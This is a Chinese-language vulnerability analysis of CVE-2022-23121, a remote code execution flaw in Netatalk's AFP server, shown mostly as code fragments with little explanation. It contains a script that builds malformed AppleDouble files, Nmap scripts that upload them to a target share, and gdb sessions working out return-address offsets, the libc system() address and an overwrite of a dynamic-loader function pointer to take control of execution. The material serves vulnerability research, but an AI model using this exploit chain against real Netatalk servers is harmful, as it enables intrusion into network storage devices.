CVE-2022-23121 Netatalk 远程代码执行漏洞深入分析

function create(attrs, resoLength, findoff, findlen, forkoff, forklen) {  ......
  var finderInfoOffset = findoff == -1 ? applLength : findoff  var finderInfoLength = findlen == -1 ? (attrLength + keysLength + dataLength) : findlen  var resourceForkOffset = forkoff == -1 ? fileLength : forkoff  var resourceForkLength = forklen == -1 ? resoLength : forklen

var xattr = require("xattr-file");const args = require('minimist')(process.argv.slice(2))const fs = require('fs')
var fp = './'var origname = 'read'// resource fork data 部分：
var buffer2 = Buffer.from("a".repeat(0x12))var buffer3 = Buffer.from("a".repeat(0x34))
console.log(Buffer.concat([ buffer2, buffer3]).length)  // 打印的 resource fork data 长度。
resoLength = Buffer.concat([buffer2, buffer3]).lengthvar findoff = args['findoff'] == undefined ? -1 : parseInt(args['findoff'])var findlen = args['findlen'] == undefined ? -1 : parseInt(args['findlen'])var forklen = args['forklen'] == undefined ? -1 : parseInt(args['forklen'])var forkoff = args['forkoff'] == undefined ? -1 : parseInt(args['forkoff'])// 如果name为空则为readvar name = args["name"] == undefined ? origname : args["name"]
console.log('findoff:' + findoff + " findlen:" + findlen + " forkoff:" + forkoff + " forklen:" + forklen)
var buffer = xattr.create({  "com.example.Attribute": "my data"}, resoLength, findoff, findlen, forkoff, forklen);
var buffer4 = Buffer.concat([buffer, buffer2, buffer3])fs.writeFile(fp + '._' + name, buffer4, { mode: 0o777 }, err => {  if (err) {    console.error(err)    return  } else {    console.log("success write file, file path: " + fp + '._' + name)  }  //文件写入成功。})
fs.writeFile(fp + name, "hello world", { mode: 0o777 }, err => {  if (err) {    console.error(err)    return  } else {    console.log("success write file, file path: " + fp + name)  }  //文件写入成功。})
fs.chmod(fp+ name, 0o777, () => {  console.log("change " + fp+ name + " mode")})
fs.chmod(fp + '._' + name, 0o777, () => {  console.log("change " + fp + '._' + name + " mode")})

......action = function(host, port)  -- 这里和afp-ls的逻辑一样
    local msg    local uploadpath = args["uploadpath"]    local filepath = args["filepath"]    local poc = io.open(filepath,"r")    local data = poc:read("*all")    poc:close()    status, msg = afpHelper:WriteFile(uploadpath, data)    status, response = afpHelper:Logout()    status, response = afpHelper:CloseSession()    return data  end  returnend

nmap -p 548 --script=afp-upfile --script-args "uploadpath=test/._cmd,filepath=./._cmd" ip

static int parse_entries(struct adouble *ad, char *buf, uint16_t nentries){    uint32_t   eid, len, off;    int        ret = 0;    /* now, read in the entry bits */    for (; nentries > 0; nentries-- ) {        memcpy(&eid, buf, sizeof( eid ));        eid = get_eid(ntohl(eid));        buf += sizeof( eid );        memcpy(&off, buf, sizeof( off ));        off = ntohl( off );        buf += sizeof( off );        memcpy(&len, buf, sizeof( len ));        len = ntohl( len );        buf += sizeof( len );
        ad->ad_eid[eid].ade_off = off;        ad->ad_eid[eid].ade_len = len;
        if (!eid            || eid > ADEID_MAX            || off >= sizeof(ad->ad_data)            || ((eid != ADEID_RFORK) && (off + len >  sizeof(ad->ad_data)))) // ADEID_RFORK        {            ret = -1;            LOG(log_warning, logtype_ad, "parse_entries: bogus eid: %u, off: %u, len: %u",                (uint)eid, (uint)off, (uint)len);        }    }
    return ret;}
// adouble 定义struct adouble {......    char                ad_data[AD_DATASZ_MAX]; //AD_DATASZ_MAX = 1024};

if (parse_entries(&adosx, buf, nentries) != 0) {        LOG(log_warning, logtype_ad, "ad_header_read(%s): malformed AppleDouble",            path ? fullpathname(path) : "");    }

static int ad_convert_osx(const char *path, struct adouble *ad){......    origlen = ad_getentryoff(ad, ADEID_RFORK) + ad_getentrylen(ad, ADEID_RFORK);    map = mmap(NULL, origlen, PROT_READ | PROT_WRITE, MAP_SHARED, ad_reso_fileno(ad), 0);    if (map == MAP_FAILED) {        LOG(log_error, logtype_ad, "mmap AppleDouble: %sn", strerror(errno));        EC_FAIL;    }

    memmove(map + ad_getentryoff(ad, ADEID_FINDERI) + ADEDLEN_FINDERI,            map + ad_getentryoff(ad, ADEID_RFORK),            ad_getentrylen(ad, ADEID_RFORK));    (void)ad_rebuild_adouble_header_osx(ad, map);    munmap(map, origlen);

int afp_openfork(AFPObj *obj _U_, char *ibuf, size_t ibuflen _U_, char *rbuf, size_t *rbuflen){    .....    /* First ad_open(), opens data or ressource fork */    if (ad_open(ofork->of_ad, upath, adflags, 0666) < 0) {.....

if (adflags & ADFLAGS_RF) { // ADFLAGS_RF = 1<<1 = 2        if (ad_open_rf(path, adflags, mode, ad) != 0) {            EC_FAIL;        }}

int main(int ac, char **av){    struct sigactionsv;    sigset_t            sigs;    int                 ret;......    if (afp_config_parse(&obj, "afpd") != 0).....    obj.options.save_mask = umask(obj.options.umask);......    while (1) {        .......        for (int i = 0; i < asev->used; i++) {            if (asev->fdset[i].revents & (POLLIN | POLLERR | POLLHUP | POLLNVAL)) {                switch (asev->data[i].fdtype) {
                case LISTEN_FD:                    if ((child = dsi_start(&obj, (DSI *)(asev->data[i].private), server_children))) {                        if (!(asev_add_fd(asev, child->afpch_ipc_fd, IPC_FD, child))) {                      .....                            kill(child->afpch_pid, SIGKILL);                        }                    }                    break;               ......}

static afp_child_t *dsi_start(AFPObj *obj, DSI *dsi, server_child_t *server_children){    afp_child_t *child = NULL;
    if (dsi_getsession(dsi, server_children, obj->options.tickleval, &child) != 0) {        ......    }
    /* we've forked. */    if (child == NULL) {        configfree(obj, dsi);        afp_over_dsi(obj); /* start a session */        exit (0);    }
    return child;}
int dsi_getsession(DSI *dsi, server_child_t *serv_children, int tickleval, afp_child_t **childp){  // 设置、初始化变量等操作，通过fork函数创建子进程  switch (pid = dsi->proto_open(dsi)) { /* in libatalk/dsi/dsi_tcp.c */......}

static pid_t dsi_tcp_open(DSI *dsi){    pid_t pid;    SOCKLEN_T len;
    len = sizeof(dsi->client);    dsi->socket = accept(dsi->serversock, (struct sockaddr *) &dsi->client, &len);    ......    if (0 == (pid = fork()) ) { /* child */       ......    }
    /* send back our pid */    return pid;}

int dsi_getsession(DSI *dsi, server_child_t *serv_children, int tickleval, afp_child_t **childp){  // 设置、初始化变量等操作  switch (pid = dsi->proto_open(dsi)) { /* in libatalk/dsi/dsi_tcp.c */  case -1:    ......  case 0: // 如果是子进程则直接退出switch，进入处理DSI数据的逻辑    break;  default: //如果是父进程则返回到dsi_start函数    ......    dsi->proto_close(dsi);    *childp = child;    return 0;  }  ....  switch (dsi->header.dsi_command) {                 // 根据dsi命令执行不同动作  case DSIFUNC_STAT: /* send off status and return */   .....      case DSIFUNC_OPEN: /* setup session */    /* set up the tickle timer */    dsi->timer.it_interval.tv_sec = dsi->timer.it_value.tv_sec = tickleval;    dsi->timer.it_interval.tv_usec = dsi->timer.it_value.tv_usec = 0;    dsi_opensession(dsi);    *childp = NULL;    return 0;
  default: /* just close */    LOG(log_info, logtype_dsi, "DSIUnknown %d", dsi->header.dsi_command);    dsi->proto_close(dsi);    exit(EXITERR_CLNT);  }}

void afp_over_dsi(AFPObj *obj){    ......    /* get stuck here until the end */    while (1) {        ......        cmd = dsi_stream_receive(dsi);......        switch(cmd) {        case DSIFUNC_CLOSE:            ......        case DSIFUNC_TICKLE:            ......        case DSIFUNC_CMD:......function = (u_char) dsi->commands[0];                /* send off an afp command. in a couple cases, we take advantage                 * of the fact that we're a stream-based protocol. */                if (afp_switch[function]) {                    dsi->datalen = DSI_DATASIZ;                    dsi->flags |= DSI_RUNNING;
                    LOG(log_debug, logtype_afpd, "<== Start AFP command: %s", AfpNum2name(function));
                    AFP_AFPFUNC_START(function, (char *)AfpNum2name(function));                    err = (*afp_switch[function])(obj,                                                  (char *)dsi->commands, dsi->cmdlen,                                                  (char *)&dsi->data, &dsi->datalen);
                    ......    }
    /* error */    afp_dsi_die(EXITERR_CLNT);}

static AFPCmd preauth_switch[] = {    NULL, NULL, NULL, NULL,    NULL, NULL, NULL, NULL,/*   0 -   7 */    NULL, NULL, NULL, NULL,    NULL, NULL, NULL, NULL,/*   8 -  15 */    NULL, NULL, afp_login, afp_logincont,    afp_logout, NULL, NULL, NULL,/*  16 -  23 */    .....};
AFPCmd *afp_switch = preauth_switch;
AFPCmd postauth_switch[] = {    NULL, afp_bytelock, afp_closevol, afp_closedir,    afp_closefork, afp_copyfile, afp_createdir, afp_createfile,/*   0 -   7 */    afp_delete, afp_enumerate, afp_flush, afp_flushfork,    afp_null, afp_null, afp_getforkparams, afp_getsrvrinfo,/*   8 -  15 */    afp_getsrvrparms, afp_getvolparams, afp_login, afp_logincont,    afp_logout, afp_mapid, afp_mapname, afp_moveandrename,/*  16 -  23 */    afp_openvol, afp_opendir, afp_openfork, afp_read,    afp_rename, afp_setdirparams, afp_setfilparams, afp_setforkparams,    /*  24 -  31 */    afp_setvolparams, afp_write, afp_getfildirparams, afp_setfildirparams,    afp_changepw, afp_getuserinfo, afp_getsrvrmesg, afp_createid, /*  32 -  39 */    afp_deleteid, afp_resolveid, afp_exchangefiles, afp_catsearch,    afp_null, afp_null, afp_null, afp_null,/*  40 -  47 */    afp_opendt, afp_closedt, afp_null, afp_geticon,    afp_geticoninfo, afp_addappl, afp_rmvappl, afp_getappl,/*  48 -  55 */    afp_addcomment, afp_rmvcomment, afp_getcomment, NULL,......};
static int set_auth_switch(const AFPObj *obj, int expired){ ......        afp_switch = postauth_switch;

action = function(host, port)-- 和afp-ls逻辑一样
    local str_path = args["path"]
    local content    status, content = afpHelper:ReadFile(str_path)    status, response = afpHelper:Logout()    status, response = afpHelper:CloseSession()
    return content
  end  returnend

apt-get install -y libdb-dev libgcrypt-dev libcrack2-dev libgssapi-krb5-2 libgssapi3-heimdal libgssapi-perl libkrb5-dev libtdb-dev libevent-dev  libdb-devwget https://versaweb.dl.sourceforge.net/project/netatalk/netatalk/3.1.11/netatalk-3.1.11.tar.bz2tar -xjf netatalk-3.1.11.tar.bz2cd netatalk-3.1.11.tar.bz2mkdir buildexport CFLAGS='-g -O0' # 保留调试符号，方便调试./configure  --with-init-style=debian-systemd  --without-libevent --without-tdb --with-cracklib --enable-krbV-uam --enable-debug --with-pam-confdir=/etc/pam.d --with-dbus-daemon=/usr/bin/dbus-daemon --with-dbus-sysconf-dir=/etc/dbus-1/system.d --with-tracker-pkgconfig-version=1.0 --prefix=`pwd`/build --bindir=`pwd`/build/bin --sbindir=`pwd`/build/sbin
makemake install

mkdir /tmp/afp_tmp/mkdir /tmp/afp_tmp/Publicmkdir /tmp/afp_tmp/test
echo test > /tmp/afp_tmp/test/test.txtecho hello > /tmp/afp_tmp//Public/hello.txtchmod 777 -R /tmp/afp_tmp/Public /tmp/afp_tmp/test/tmp/afp_tmp/afp.conf:[ Global ]uam list = uams_guest.so,uams_clrtxt.so,uams_dhx2.sosave password = nounix charset = UTF8use sendfile = yeszeroconf = noguest account = nobody
 [ Public ] path =/tmp/afp_tmp/Publicea = auto convert appledouble = no stat vol = no file perm = 777 directory perm = 777veto files = '/Network Trash Folder/.!@#$recycle/.systemfile/lost+found/Nas_Prog/.!@$mmc/'rwlist = "admin","nobody","@allaccount"valid users = "admin","nobody","@allaccount"invalid users = 
 [ test ] path = /tmp/afp_tmp/testea = auto convert appledouble = no stat vol = no file perm = 777 directory perm = 777veto files = '/Network Trash Folder/.!@#$recycle/.systemfile/lost+found/Nas_Prog/.!@$mmc/'rwlist = "admin","nobody","@allaccount"valid users = "admin","nobody","@allaccount"invalid users =

t.shgdb -x debug.gdb attach `ps -ef | grep  afpd | grep -v grep | grep -v cnid |awk '{print $2}' | head -1`
debug.gdbset follow-fork-mode childset detach-on-fork offset schedule-multiple onb ad_open.c:1894 if adflags & 2 != 0cb ad_open.c:617b ad_open.c:605

./afpd -d -F /tmp/afp_tmp/afpd.conf./cnid_metad -d -F /tmp/afp_tmp/afpd.conf

static int ad_convert_osx(const char *path, struct adouble *ad){ ......    origlen = ad_getentryoff(ad, ADEID_RFORK) + ad_getentrylen(ad, ADEID_RFORK);    map = mmap(NULL, origlen, PROT_READ | PROT_WRITE, MAP_SHARED, ad_reso_fileno(ad), 0);    ......    memmove(map + ad_getentryoff(ad, ADEID_FINDERI) + ADEDLEN_FINDERI,            map + ad_getentryoff(ad, ADEID_RFORK),            ad_getentrylen(ad, ADEID_RFORK));
.    (void)ad_rebuild_adouble_header_osx(ad, map);    munmap(map, origlen);......}#define ad_getentrylen(ad,eid)     ((ad)->ad_eid[(eid)].ade_len)long ad_getentryoff(const struct adouble *ad, int eid){    if (ad->ad_vers == AD_VERSION2)        return ad->ad_eid[eid].ade_off;
    switch (eid) {    case ADEID_DFORK:        return 0;    case ADEID_RFORK:#ifdef HAVE_EAFD        return 0;#else        return ad->ad_eid[eid].ade_off;#endif    default:        return ad->ad_eid[eid].ade_off;    }    /* deadc0de */    AFP_PANIC("What am I doing here?");}

#define ad_entry(ad,eid)           ((caddr_t)(ad)->ad_data + (ad)->ad_eid[(eid)].ade_off)int ad_rebuild_adouble_header_osx(struct adouble *ad, char *adbuf){    ......    memcpy(adbuf + ADEDOFF_FINDERI_OSX, ad_entry(ad, ADEID_FINDERI), ADEDLEN_FINDERI);
#define ADEDOFF_FINDERI_OSX  (AD_HEADER_LEN + ADEID_NUM_OSX*AD_ENTRY_LEN)#define AD_HEADER_LEN       (ADEDLEN_MAGIC + ADEDLEN_VERSION + ADEDLEN_FILLER + ADEDLEN_NENTRIES) /* 26 */#define ADEID_NUM_OSX           2#define AD_ENTRY_LEN        12  /* size of a single entry header */

gef➤  bt#0  0x00007f624307220b in ad_header_read_osx (path=0x7f62430d6bc0 <pathbuf> "._read", ad=0x558ce325bba0, hst=0x7ffcf6e36990) at ad_open.c:698#1  0x00007f6243074e50 in ad_open_rf_ea (path=0x558ce2e38f80 <upath> "read", adflags=0x283, mode=0x0, ad=0x558ce325bba0) at ad_open.c:1488#2  0x00007f62430750ae in ad_open_rf (path=0x558ce2e38f80 <upath> "read", adflags=0x283, mode=0x0, ad=0x558ce325bba0) at ad_open.c:1529#3  0x00007f6243075d29 in ad_open (ad=0x558ce325bba0, path=0x558ce2e38f80 <upath> "read", adflags=0x283) at ad_open.c:1895#4  0x0000558ce2e143bd in afp_openfork (obj=0x558ce2e4d920 <obj>, ibuf=0x7f6242b6c022 "uthent", ibuflen=0x12, rbuf=0x558ce3245b10 "", rbuflen=0x558ce3255b10) at fork.c:364#5  0x0000558ce2df2c81 in afp_over_dsi (obj=0x558ce2e4d920 <obj>) at afp_dsi.c:627#6  0x0000558ce2e193ff in dsi_start (obj=0x558ce2e4d920 <obj>, dsi=0x558ce3245420, server_children=0x558ce3242240) at main.c:474#7  0x0000558ce2e19102 in main (ac=0x4, av=0x7ffcf6e36fc8) at main.c:417gef➤  i frame 7Stack frame at 0x7ffcf6e36ee0: rip = 0x558ce2e19102 in main (main.c:417); saved rip = 0x7f6242e51083 caller of frame at 0x7ffcf6e36d80 source language c. Arglist at 0x7ffcf6e36d78, args: ac=0x4, av=0x7ffcf6e36fc8 Locals at 0x7ffcf6e36d78, Previous frame's sp is 0x7ffcf6e36ee0 Saved registers:  rbp at 0x7ffcf6e36ed0, rip at 0x7ffcf6e36ed8gef➤  p &adosx.ad_data$11 = (char (*)[1024]) 0x7ffcf6e36522gef➤  p 0x7ffcf6e36ed8 - 0x7ffcf6e36522$12 = 0x9b6

gef➤  p 0x7f6242e51083 - 0x24083 + 0x52290$14 = 0x7f6242e7f290gef➤  p system$15 = {int (const char *)} 0x7f6242e7f290 <__libc_system>gef➤

gef➤  bt#0  0x00007efeac84c59d in _dl_open (file=0x7efeac733eb9 "libgcc_s.so.1", mode=0x80000002, caller_dlopen=0x7efeac6acfb9 <init+25>, nsid=0xfffffffffffffffe, argc=0x4, argv=0x7ffd9f27a1e8, env=0x7ffd9f27a210) at dl-open.c:786#1  0x00007efeac6df8c1 in do_dlopen (ptr=ptr@entry=0x7ffd9f277d60) at dl-libc.c:96#2  0x00007efeac6e0928 in __GI__dl_catch_exception (exception=exception@entry=0x7ffd9f277d00, operate=operate@entry=0x7efeac6df880 <do_dlopen>, args=args@entry=0x7ffd9f277d60) at dl-error-skeleton.c:208#3  0x00007efeac6e09f3 in __GI__dl_catch_error (objname=objname@entry=0x7ffd9f277d50, errstring=errstring@entry=0x7ffd9f277d58, mallocedp=mallocedp@entry=0x7ffd9f277d4f, operate=operate@entry=0x7efeac6df880 <do_dlopen>, args=args@entry=0x7ffd9f277d60) at dl-error-skeleton.c:227#4  0x00007efeac6df9f5 in dlerror_run (args=0x7ffd9f277d60, operate=0x7efeac6df880 <do_dlopen>) at dl-libc.c:46#5  __GI___libc_dlopen_mode (name=name@entry=0x7efeac733eb9 "libgcc_s.so.1", mode=mode@entry=0x80000002) at dl-libc.c:195#6  0x00007efeac6acfb9 in init () at backtrace.c:54#7  0x00007efeac7834df in __pthread_once_slow (once_control=0x7efeac76fe68 <once>, init_routine=0x7efeac6acfa0 <init>) at pthread_once.c:116#8  0x00007efeac6ad104 in __GI___backtrace (array=<optimized out>, size=<optimized out>) at backtrace.c:111#9  0x00007efeac7ec7ff in netatalk_panic (why=0x7efeac818148 "internal error") at fault.c:93#10 0x00007efeac7eca69 in fault_report (sig=0xb) at fault.c:127#11 0x00007efeac7ecac3 in sig_fault (sig=0xb) at fault.c:147#12 <signal handler called>#13 __memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:238#14 0x00007efeac7c10e2 in ad_rebuild_adouble_header_osx (ad=0x7ffd9f279540, adbuf=0x7efeac863000 "") at ad_flush.c:187#15 0x00007efeac7c4d4c in ad_convert_osx (path=0x7efeac829bc0 <pathbuf> "._cmd", ad=0x7ffd9f279540) at ad_open.c:617#16 0x00007efeac7c5379 in ad_header_read_osx (path=0x7efeac829bc0 <pathbuf> "._cmd", ad=0x55dcb6856780, hst=0x7ffd9f279bb0) at ad_open.c:713#17 0x00007efeac7c7e50 in ad_open_rf_ea (path=0x55dcb5a7ef80 <upath> "cmd", adflags=0x283, mode=0x0, ad=0x55dcb6856780) at ad_open.c:1488#18 0x00007efeac7c80ae in ad_open_rf (path=0x55dcb5a7ef80 <upath> "cmd", adflags=0x283, mode=0x0, ad=0x55dcb6856780) at ad_open.c:1529#19 0x00007efeac7c8d29 in ad_open (ad=0x55dcb6856780, path=0x55dcb5a7ef80 <upath> "cmd", adflags=0x283) at ad_open.c:1895#20 0x000055dcb5a5a3bd in afp_openfork (obj=0x55dcb5a93920 <obj>, ibuf=0x7efeac2bf021 "Authent", ibuflen=0x11, rbuf=0x55dcb6840b10 "", rbuflen=0x55dcb6850b10) at fork.c:364#21 0x000055dcb5a38c81 in afp_over_dsi (obj=0x55dcb5a93920 <obj>) at afp_dsi.c:627#22 0x000055dcb5a5f3ff in dsi_start (obj=0x55dcb5a93920 <obj>, dsi=0x55dcb6840420, server_children=0x55dcb683d240) at main.c:474#23 0x000055dcb5a5f102 in main (ac=0x4, av=0x7ffd9f27a1e8) at main.c:417

gef➤  x /i $pc=> 0x7efeac84c59d <_dl_open+61>:        call   QWORD PTR [rip+0x199c5]        # 0x7efeac865f68 <_rtld_global+3848>gef➤  x /gx 0x7efeac865f680x7efeac865f68 <_rtld_global+3848>:     0x4141414141414000gef➤

void *_dl_open (const char *file, int mode, const void *caller_dlopen, Lmid_t nsid,          int argc, char *argv[], char *env[]){  if ((mode & RTLD_BINDING_MASK) == 0)    /* One of the flags must be set.  */    _dl_signal_error (EINVAL, file, NULL, N_("invalid mode for dlopen()"));  /* Make sure we are alone.  */  __rtld_lock_lock_recursive (GL(dl_load_lock));

gef➤  p &_rtld_global$4 = (struct rtld_global *) 0x7efeac865060 <_rtld_global

#  define GL(name) _rtld_local._##name# else#  define GL(name) _rtld_global._##name定义在_rtld_local=_rtld_global

$7 = (__rtld_lock_recursive_t *) 0x7efeac865968 <_rtld_global+2312>gef➤  p &_rtld_global._dl_load_lock Quitgef➤  p 0x7efeac865968 - 0x7efeac863000$8 = 0x2968

gef➤  p &_rtld_global._dl_rtld_lock_recursive$10 = (void (**)(void *)) 0x7efeac865f68 <_rtld_global+3848>gef➤  p 0x7efeac865f68 - 0x7efeac863000$11 = 0x2f68gef➤  p 0x2f68 - 0x2968$12 = 0x600

**void** *memmove (**void** *__dest, **const** **void** *__src, size_t __n)// dest指向要复制的目标内存，src指向要复制的数据内存，n为要复制的大小（字节）// 如果dest和src指向的内存重叠，该函数仍然可以正常处理，逻辑如下
char str[] = "memmove can be very useful......";memmove (str+20,str+15,11);// 输出为 memmove can be very very useful.